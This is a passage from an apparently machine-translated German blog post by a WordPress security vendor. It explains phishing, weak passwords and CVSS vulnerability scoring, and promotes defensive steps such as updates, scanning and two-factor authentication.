Phishing ist eine Cyberangriffsmethode, bei der E-Mails, soziale Medien, Textnachrichten und Telefonanrufe verwendet werden, um das Opfer dazu zu bringen, persönliche Daten preiszugeben. Der Angreifer verwendet die Informationen dann, um auf persönliche Konten zuzugreifen oder Identitätsbetrug zu begehen.

So erkennen Sie eine Phishing-E-Mail

Wie wir weiter oben in diesem Beitrag erfahren haben, erfordern einige Sicherheitslücken eine Art von Benutzerinteraktion, um sie auszunutzen. Eine Möglichkeit, wie ein Hacker Menschen dazu bringt, sich an ihren schändlichen Unternehmungen zu beteiligen, besteht darin, Phishing-E-Mails zu versenden.

Zu lernen, wie man eine Phishing-E-Mail erkennt, kann Sie davor bewahren, versehentlich in die Pläne von Cyberkriminellen einzudringen.

4 Tipps, um eine Phishing-E-Mail zu erkennen :

1. Schauen Sie sich die Absender-E- Mail-Adresse an – Wenn Sie eine E-Mail von einem Unternehmen erhalten, sollte der Teil der E-Mail-Adresse des Absenders nach dem „@“ mit dem Firmennamen übereinstimmen.
   
   Wenn eine E-Mail ein Unternehmen oder eine Regierungsbehörde darstellt, aber eine öffentliche E-Mail-Adresse wie "@gmail" verwendet, ist dies ein Zeichen für eine Phishing-E-Mail.
   
   Achten Sie auf subtile Rechtschreibfehler des Domainnamens. Schauen wir uns zum Beispiel diese E-Mail-Adresse an [email protected] Wir können sehen, dass Netflix am Ende ein zusätzliches „x“ hat. Der Rechtschreibfehler ist ein klares Zeichen dafür, dass die E-Mail von einem Betrüger gesendet wurde und sofort gelöscht werden sollte.
   
2. Suchen Sie nach Grammatikfehlern – Eine E-Mail voller Grammatikfehler ist ein Zeichen für eine bösartige E-Mail. Alle Wörter sind möglicherweise richtig geschrieben, aber Sätzen fehlen Wörter, die den Satz zusammenhängend machen würden. Beispiel: „Ihr Konto wurde gehackt. Passwort auf Kontosicherheit aktualisieren“.
   
   Jeder macht Fehler und nicht jede E-Mail mit einem oder zwei Tippfehlern ist ein Versuch, Sie zu betrügen. Mehrere grammatikalische Fehler rechtfertigen jedoch einen genaueren Blick, bevor Sie reagieren.
   
3. Verdächtige Anhänge oder Links – Es lohnt sich, einen Moment innezuhalten, bevor Sie mit Anhängen oder Links in einer E-Mail interagieren.
   
   Wenn Sie den Absender einer E-Mail nicht kennen, sollten Sie keine in der E-Mail enthaltenen Anhänge herunterladen, da diese Malware enthalten und Ihren Computer infizieren könnten. Wenn die E-Mail behauptet, von einem Unternehmen zu stammen, können Sie deren Kontaktinformationen bei Google überprüfen, um zu überprüfen, ob die E-Mail von ihnen gesendet wurde, bevor Sie Anhänge öffnen.
   
   Wenn eine E-Mail einen Link enthält, können Sie mit der Maus über den Link fahren, um zu überprüfen, ob die URL Sie dorthin führt, wo sie sein sollte.
   
4. Achten Sie auf dringende Anfragen – Ein gängiger Trick von Betrügern besteht darin, ein Gefühl der Dringlichkeit zu erzeugen. Eine bösartige E-Mail kann ein Szenario erzeugen, das sofortige Maßnahmen erfordert. Je mehr Zeit Sie zum Nachdenken haben, desto größer ist die Chance, dass Sie erkennen, dass die Anfrage von einem Betrüger stammt.
   
   Möglicherweise erhalten Sie eine E-Mail von Ihrem „Chef“, in der Sie aufgefordert werden, so schnell wie möglich an einen Anbieter zu zahlen, oder von Ihrer Bank, die Sie darüber informiert, dass Ihr Konto gehackt wurde und sofortige Maßnahmen erforderlich sind.

2. Schwache Anmeldeinformationen

Benutzer haben das Potenzial, die größte Sicherheitslücke in WordPress zu sein.

In einer von Splash Data zusammengestellten Liste war das am häufigsten verwendete Passwort in allen Datendumps 123456. Ein Datendump ist eine gehackte Datenbank, die mit Benutzerpasswörtern gefüllt ist, die irgendwo im Internet abgelegt wurden. Können Sie sich vorstellen, wie viele Personen auf Ihrer Website ein schwaches Passwort verwenden, wenn 123456 das häufigste Passwort in Datenabbildern ist?

Obwohl 91% der Menschen wissen, dass die Wiederverwendung von Passwörtern eine schlechte Praxis ist, verwenden 59% der Menschen ihre Passwörter immer noch überall! Viele dieser Leute verwenden immer noch Passwörter, von denen sie wissen, dass sie in einem Datenbank-Dump erschienen sind.

Hacker verwenden eine Form von Brute-Force-Angriffen, die als Wörterbuchangriff bezeichnet wird. Ein Wörterbuchangriff ist eine Methode zum Einbruch in eine WordPress-Website mit häufig verwendeten Passwörtern, die in Datenbank-Dumps aufgetaucht sind. Die „Kollektion #1? Data Breach, die auf MEGA gehostet wurde, umfasste 1.160.253.228 eindeutige Kombinationen von E-Mail-Adressen und Passwörtern. Das ist eine Milliarde mit einem b. Diese Art von Punktzahl wird einem Wörterbuchangriff wirklich helfen, die am häufigsten verwendeten WordPress-Passwörter einzugrenzen.

Schwache Zugangsdaten machen Ihr WordPress-Login zu einer leichten Schwachstelle, die Hacker ausnutzen können.

So verhindern Sie schwache Anmeldeinformationen

Der beste Weg, um schwache Anmeldeinformationen zu verhindern, besteht darin, eine starke Passwortrichtlinie zu erstellen und die Zwei-Faktor-Authentifizierung zu verwenden.

Die iThemes Security Pro Kennwortanforderungen Funktion ermöglicht es Kraft Mitglieder einer Benutzergruppe ein starkes Passwort zu verwenden, eine Zeit des Kennwortablaufes, Müll gefährdet Passwörter wählen, und erzwingen ein wikiweites Passwort jeder mit Ihrer neuen starken Kennwortrichtlinie einhalten machen ändern.

Die Zwei-Faktor-Authentifizierung ist ein Prozess zur Überprüfung der Identität einer Person, indem zwei separate Überprüfungsmethoden erforderlich sind. Google teilte in seinem Blog mit, dass die Verwendung der Zwei-Faktor-Authentifizierung 100% der automatisierten Bot-Angriffe stoppen kann.

Die Zwei-Faktor-Authentifizierungsfunktion von iThemes Security Pro bietet eine Menge Flexibilität bei der Implementierung von 2fa auf Ihrer Website. Sie können die Zwei-Faktor-Funktion für alle oder einige Ihrer Benutzer aktivieren, und Sie können Ihre Benutzer auf hoher Ebene zwingen, bei jeder Anmeldung 2fa zu verwenden.

So schützen Sie Ihre WordPress-Website vor WordPress-Sicherheitslücken

Werfen wir einen Blick auf einige umsetzbare Schritte, die Sie unternehmen können, um Ihre Website vor WordPress-Sicherheitslücken zu schützen.

1. Halten Sie Ihre WordPress-Software auf dem neuesten Stand

Ein anfälliges Plugin oder Theme zu haben, für das ein Patch verfügbar ist, aber nicht angewendet wird, ist der Hauptschuldige für gehackte WordPress-Websites. Das bedeutet, dass die meisten Sicherheitslücken ausgenutzt werden, NACHDEM ein Patch für die Sicherheitslücke veröffentlicht wurde.

Die häufig gemeldete Equifax-Verletzung hätte verhindert werden können, wenn sie ihre Software aktualisiert hätten. Für den Equifax-Verstoß gab es einfach keine Entschuldigung.

Etwas so Einfaches wie das Aktualisieren Ihrer Software kann Sie schützen. Ignorieren Sie also diese WordPress-Updates nicht – Updates sind eine der grundlegendsten Komponenten von WordPress und der gesamten Websicherheit.

Mit der Versionsverwaltungsfunktion von iThemes Security Pro können Sie Ihre WordPress-Updates anpassen und automatisieren.

2. Verfolgen Sie WordPress-Sicherheitslücken

Wenn Sie Ihre Plugins und Themes auf dem neuesten Stand halten, werden Sie nicht vor jeder Schwachstelle geschützt. Einige Plugins und Themes wurden von den Entwicklern, die sie erstellt haben, aufgegeben.

Wenn ein aufgegebenes Plugin oder Theme eine Schwachstelle hat, wird es leider nie einen Patch bekommen. Hacker zielen auf Websites ab, die diese jetzt dauerhaft anfälligen Plugins verwenden.

Wenn Sie ein verlassenes Plugin mit einer bekannten Schwachstelle auf Ihrer Website haben, geben Sie Hackern die Blaupausen, die sie benötigen, um Ihre Website zu übernehmen. Aus diesem Grund müssen Sie die neuesten Schwachstellen im Auge behalten.

Es ist schwierig, jede offengelegte WordPress-Sicherheitslücke zu verfolgen und diese Liste mit den Versionen von Plugins und Themes zu vergleichen, die Sie auf Ihrer Website installiert haben. Die Verfolgung von Schwachstellen ist der Unterschied zwischen einer sicheren Website und einer Website, die Hacker leicht ausnutzen können.

Gute Neuigkeiten für dich! Wir verfolgen und teilen jede offengelegte Sicherheitslücke in unseren WordPress Vulnerability Roundups.

3. Scannen Sie Ihre Website auf Schwachstellen

Eine schnellere Möglichkeit besteht darin, Ihre Website vor einfachen Hacker-Exploits zu schützen, indem Sie automatische Scans verwenden, um Ihre Websites auf bekannte Schwachstellen zu überprüfen.

Der iThemes Security Pro Site Scanner ist Ihre Möglichkeit, den Schutz vor Schwachstellen auf all Ihren WordPress-Websites zu automatisieren. Der Site Scanner überprüft Ihre Site auf bekannte Schwachstellen und wendet automatisch einen Patch an, falls einer verfügbar ist.

Die iThemes Security Pro Site prüft auf 3 Arten von Schwachstellen.

1. WordPress-Sicherheitslücken
2. Plugin-Sicherheitslücken
3. Thema Schwachstellen

Die Site-Audit-Funktion von iThemes Sync Pro nutzt die Leistungsfähigkeit von Google Lighthouse, um Ihre Website zu schützen. Das Site Audit überprüft und markiert Seiten, die Front-End-JavaScript-Bibliotheken mit bekannten Sicherheitslücken enthalten.

Es ist gängige Praxis für Entwickler, Code von Drittanbietern – wie JS-Bibliotheken – in ihren Plugins und Designs zu verwenden. Wenn die Bibliotheken nicht ordnungsgemäß gewartet werden, können sie leider Schwachstellen schaffen, die Angreifer nutzen können, um Ihre Website zu hacken. Die Verwendung von Komponenten mit bekannten Sicherheitslücken steht auf der OWASP-Top-10-Liste.

Das Site Audit hat meinen Speck gerettet! Ich habe einen Audit-Zeitplan erstellt, damit Sync Pro wöchentliche automatisierte Audits durchführt und mir die Audit-Berichte per E-Mail zusendet. Ich halte alles auf dem neuesten Stand und war deshalb schockiert, als ich bei einem Audit meiner Website sah, dass ich JavaScript-Bibliotheken mit bekannten Sicherheitslücken verwende.

Der Bericht wies mich auf eine veraltete Version von jQuery im WordPress-Verzeichnis der Website hin, die mit bekannten Schwachstellen übersät ist! Zu meinem Glück habe ich in meinem Sync Pro Site Audit gesehen, dass ich JavaScript-Bibliotheken mit bekannten Sicherheitslücken verwende und das Problem beheben konnte, bevor meine Website gehackt wurde.

Wie man ein WordPress-Sicherheitsrisiko misst

Es gibt verschiedene Arten von WordPress-Schwachstellen, die alle unterschiedlich risikobehaftet sind. Zum Glück für uns verfügt die National Vulnerability Database – ein Projekt des National Institute of Science and Technology – über einen Rechner zur Bewertung von Schwachstellen, um das Risiko einer Schwachstelle zu bestimmen.

In diesem Abschnitt des WordPress-Schwachstellenleitfadens werden die Metriken und Schweregrade des Schwachstellenbewertungssystems behandelt. Obwohl dieser Abschnitt etwas technischer ist, können einige Benutzer ihn nützlich finden, um ihr Verständnis dafür zu vertiefen, wie WordPress-Schwachstellen und deren Schweregrad bewertet werden.

Häufige Systemkennzahlen für WordPress-Sicherheitslücken

Die Gleichung des Schwachstellenbewertungssystems verwendet drei verschiedene Bewertungssätze, um die Gesamtbewertung des Schweregrads zu bestimmen.

1. Basiskennzahlen

Die Basismetrikgruppe stellt die Merkmale einer Schwachstelle dar, die in allen Benutzerumgebungen konstant sind.

Die Basismetriken sind in zwei Gruppen unterteilt, Ausnutzbarkeit und Auswirkung.

1.1. Ausnutzbarkeitsmetriken

Die Ausnutzbarkeitsbewertung basiert darauf, wie schwierig es für einen Angreifer ist, die Sicherheitsanfälligkeit auszunutzen. Die Punktzahl wird anhand von 5 verschiedenen Variablen berechnet.

1.1.1. Angriffsvektor (AV)

Der Angriffsvektor-Score basiert auf der Methode, mit der die Schwachstelle ausgenutzt wird. Die Punktzahl ist umso höher, je weiter entfernt ein Angreifer die Sicherheitsanfälligkeit ausnutzen kann.

Die Idee ist, dass die Anzahl potenzieller Angreifer viel größer ist, wenn die Sicherheitsanfälligkeit über ein Netzwerk ausgenutzt werden kann, verglichen mit einer Sicherheitsanfälligkeit, die einen physischen Zugriff auf einen Geräte-Exploit erfordert.

Je mehr potenzielle Angreifer es gibt, desto höher ist das Risiko einer Ausnutzung, und daher wird der Angriffsvektorwert der Sicherheitsanfälligkeit höher ausfallen.

1.1.2. Angriffskomplexität (AC)

Der Komplexitätswert basiert auf den Bedingungen, die zum Ausnutzen der Schwachstelle erforderlich sind. Einige Bedingungen erfordern möglicherweise das Sammeln weiterer Informationen über das Ziel, das Vorhandensein bestimmter Systemkonfigurationseinstellungen oder rechnerische Ausnahmen.

Die Punktzahl der Angriffskomplexität ist umso höher, je geringer die Komplexität ist, die zum Ausnutzen der Sicherheitsanfälligkeit erforderlich ist.

1.1.3. Erforderliche Berechtigungen (PR)

Die Bewertung der erforderlichen Berechtigungen wird basierend auf den Berechtigungen berechnet, die ein Angreifer erlangen muss, bevor er eine Sicherheitsanfälligkeit ausnutzt. Wir werden im Abschnitt Authentifiziert vs. Nicht authentifiziert etwas mehr darauf eingehen.

Die Punktzahl ist am höchsten, wenn keine Berechtigungen erforderlich sind.

1.1.4. Benutzerinteraktion (UI)

Die Benutzerinteraktionsbewertung wird basierend darauf bestimmt, ob eine Schwachstelle eine Benutzerinteraktion erfordert, um sie auszunutzen.

Die Punktzahl ist am höchsten, wenn keine Benutzerinteraktion erforderlich ist, damit ein Angreifer die Sicherheitsanfälligkeit ausnutzt.

1.1.5. Umfang

Die Bereichsbewertung basiert auf einer Schwachstelle in einer Softwarekomponente, die sich auf Ressourcen außerhalb ihres Sicherheitsbereichs auswirkt.

Der Sicherheitsumfang umfasst andere Komponenten, die ausschließlich dieser Komponente Funktionalität zur Verfügung stellen, selbst wenn diese anderen Komponenten über ihre eigene Sicherheitsautorität verfügen.

Die Punktzahl ist am höchsten, wenn eine Bereichsänderung auftritt.

1.2. Auswirkungsmetriken

Die Impact-Metriken erfassen die direkten Auswirkungen einer erfolgreich ausgenutzten Schwachstelle.

1.2.1. Vertraulicher Einfluss (C)

Diese vertrauliche Auswirkungsbewertung misst die Auswirkung auf die Vertraulichkeit der Informationen, die von ausgenutzter Software verwaltet werden.

Die Punktzahl ist am höchsten, wenn der Verlust für die betroffene Software am höchsten ist.

1.2.2. Integrität (I)

Diese Integritätsbewertung basiert auf den Auswirkungen auf die Integrität einer erfolgreich ausgenutzten Sicherheitsanfälligkeit.

Die Punktzahl ist am höchsten, wenn die Folgen der betroffenen Software am größten sind.

1.2.3. Verfügbarkeit (A)

Die Verfügbarkeitsbewertung basiert auf den Auswirkungen der Verfügbarkeit der ausgenutzten Software.

Der Score ist am höchsten, wenn die Auswirkung der betroffenen Komponente am größten ist.

Basisbewertung CVSS-Bewertungsberechnung

Die Basisbewertung ist eine Funktion der Unterbewertungsgleichungen Auswirkung und Ausnutzbarkeit. Wo der Basiswert definiert ist als:

 If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Temporale Score-Metriken

Die Temporal-Metriken messen den aktuellen Stand von Exploit-Techniken, das Vorhandensein von Patches oder Workarounds oder das Vertrauen, das man in die Beschreibung einer Schwachstelle hat.

Es wird erwartet, dass sich zeitliche Metriken im Laufe der Zeit ändern.

2.1. Laufzeit des Exploit-Codes (E)

Die Reife des Exploit-Codes basiert auf der Wahrscheinlichkeit, dass die Schwachstelle angegriffen wird.

Je einfacher eine Schwachstelle ausgenutzt werden kann, desto höher ist der Schwachstellen-Score.

2.2. Sanierungsstufe (RL)

Der Behebungsgrad einer Schwachstelle ist ein wichtiger Faktor für die Priorisierung. Problemumgehungen oder Hotfixes können eine vorübergehende Abhilfe bieten, bis ein offizieller Patch oder ein offizielles Upgrade veröffentlicht wird.

Je weniger offiziell und dauerhaft ein Fix ist, desto höher ist der Schwachstellen-Score.

2.3. Vertrauen melden (RC)

Die Metrik „Report Confidence“ misst das Vertrauen, dass eine Schwachstelle besteht, und die Glaubwürdigkeit der technischen Details.

Je mehr eine Schwachstelle vom Anbieter oder anderen seriösen Quellen validiert wird, desto höher ist die Punktzahl.

Temporale CVSS-Score-Berechnung

Der Zeitwert ist definiert als:

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Kennzahlen zur Umweltbewertung

Die Umgebungsmetriken ermöglichen es Analysten, die CVSS-Bewertung basierend auf der Bedeutung der betroffenen IT-Assets anzupassen.

Die Metriken zur Umweltausnutzung und -auswirkung sind ein modifiziertes Äquivalent der Basismetriken und werden basierend auf der Komponentenplatzierung der organisatorischen Infrastruktur zugewiesen. In den obigen Abschnitten zu Basismetriken finden Sie die Werte und Beschreibungen der Ausnutzbarkeits- und Auswirkungsmetriken.

Die Umgebungsmetriken enthalten eine zusätzliche Gruppe, Impact Subscore Modifiers.

3.1. Metriken für Auswirkungs-Teilbewertungsmodifikatoren

Die Impact Subscore Modifiers-Metriken bewerten die spezifischen Sicherheitsanforderungen für Vertraulichkeit (CR), Integrität (IR) und Verfügbarkeit (AR) und ermöglichen eine Feinabstimmung der Umgebungsbewertung entsprechend der Umgebung des Benutzers.

Berechnung des Umwelt-CVSS-Scores

Die Umweltbewertung ist definiert als:

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

CVSS-Gesamtbewertung und Schweregrad

Der Overall Common Vulnerability Scoring System oder CVSS-Score ist eine Darstellung der Basis-, Zeit- und Umgebungsbewertungen.

Der CVSS-Gesamtwert kann verwendet werden, um Ihnen eine Vorstellung davon zu geben, wie schwer oder schwerwiegend eine Schwachstelle ist.

Beispiel für eine echte CVSS-Schweregradbewertung

In unserem Vulnerability Roundup vom Dezember 2020 haben wir über eine Schwachstelle im Easy WP SMTP-Plugin berichtet. Die Zero-Day-Schwachstelle (wir werden Zero-Day-Schwachstellen im nächsten Abschnitt behandeln) ermöglichte es einem Angreifer, die Kontrolle über ein Administratorkonto zu übernehmen, und wurde in freier Wildbahn ausgenutzt.

Wenn wir uns den Eintrag in der National Vulnerability Database ansehen, können wir den Schweregrad der WP SMTP-Sicherheitslücke ermitteln.

Lassen Sie uns ein paar Dinge aus dem obigen Screenshot von WP SMTP NVDB aufschlüsseln.

Base Score: Basisbewertung ist 7.5, die uns sagt , dass die Bewertung des Schweregrads für die Verwundbarkeit hoch ist.

Vektor : Der Vektor sagt uns, dass der Score auf den CVSS 3.1-Schwachstellengleichungen und den Metriken zur Berechnung des Scores basiert.

Hier ist der Metrikteil des Vektors.

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Lassen Sie uns nun die Basismetrikwerte und Beschreibungen von oben in diesem Beitrag verwenden, um die acht Metrikwerte des Vektors zu verstehen.

1. AV:N – Dies bedeutet, dass der Angriffsvektor (AV) der Schwachstelle das Netzwerk (N) ist. Mit anderen Worten, ein Angreifer benötigt nur Netzwerkzugriff, um die Sicherheitsanfälligkeit auszunutzen.
2. AC:L – Die Angriffskomplexität (AC) der Schwachstelle ist niedrig (L). Mit anderen Worten, jeder Script-Kiddie kann die Schwachstelle ausnutzen.
3. PR:N – Die erforderlichen Berechtigungen (PR) zum Ausnutzen der Sicherheitsanfälligkeit sind Keine (N). Die Sicherheitsanfälligkeit erfordert also keinen authentifizierten Benutzer, um ihn auszunutzen. (Wir werden den Unterschied zwischen authentifizierten und nicht authentifizierten Sicherheitslücken später in diesem Beitrag behandeln.)
4. UI:N – Die zum Ausnutzen dieser Sicherheitsanfälligkeit erforderliche Benutzerinteraktion (UI) ist Keine (N). Der Angreifer hat also die Möglichkeit, die Schwachstelle selbst auszunutzen.
5. S:U – Dies bedeutet, dass der Umfang (S) der Schwachstelle Unverändert (U) ist. Bei dieser Sicherheitsanfälligkeit sind die anfällige Komponente und die betroffene Komponente identisch.
6. C:H – Die Vertraulichkeitswirkung (C) der Schwachstelle ist hoch (H). Wenn diese Sicherheitsanfälligkeit ausgenutzt wird, führt dies zu einem vollständigen Verlust der Vertraulichkeit.
7. I:N – Die Integritätsauswirkung (I) dieser Sicherheitsanfälligkeit ist Keine (N). Wenn die Schwachstelle ausgenutzt wird, gibt es keinen Verlust der Integrität oder Vertrauenswürdigkeit der anfälligen Informationen.
8. A:N – Dies bedeutet, dass die Auswirkung auf die Verfügbarkeit (A) „Keine“ (N) ist. Wenn die Schwachstelle ausgenutzt wird, hat dies keine Auswirkungen auf die Verfügbarkeit Ihrer Website.

Der CVSS-Score kann uns helfen, den Schweregrad und den Umfang einer bestimmten Schwachstelle zu bestimmen. In den nächsten Abschnitten werden wir einige wichtige Begriffe zu Schwachstellen behandeln, die häufig in Offenlegungen von Schwachstellen enthalten sind.

Webinar zu WordPress-Sicherheitslücken

Schauen Sie sich unser Webinar zum gleichen Thema an.

Zusammenfassung: WordPress-Schwachstellen erklärt

Während WordPress-Schwachstellen beängstigend sind, ist die gute Nachricht, dass die meisten WordPress-Schwachstellen entdeckt und gepatcht werden, bevor Bösewichte eine Chance haben, sie auszunutzen.

Sie können dazu beitragen, Ihre Website vor Schwachstellen zu schützen, indem Sie den WordPress-Kern und Ihr Plugin und Ihre Designs auf dem neuesten Stand halten. Dies ist der beste Weg, um sicherzustellen, dass Sie die neuesten Sicherheitspatches erhalten.

Michael Moore

Jede Woche erstellt Michael den WordPress-Schwachstellenbericht, um die Sicherheit Ihrer Websites zu gewährleisten. Als Produktmanager bei iThemes hilft er uns, die Produktpalette von iThemes weiter zu verbessern. Er ist ein riesiger Nerd und liebt es, alles über Technik zu lernen, alt und neu. Sie können Michael mit seiner Frau und seiner Tochter treffen, lesen oder Musik hören, wenn er nicht arbeitet.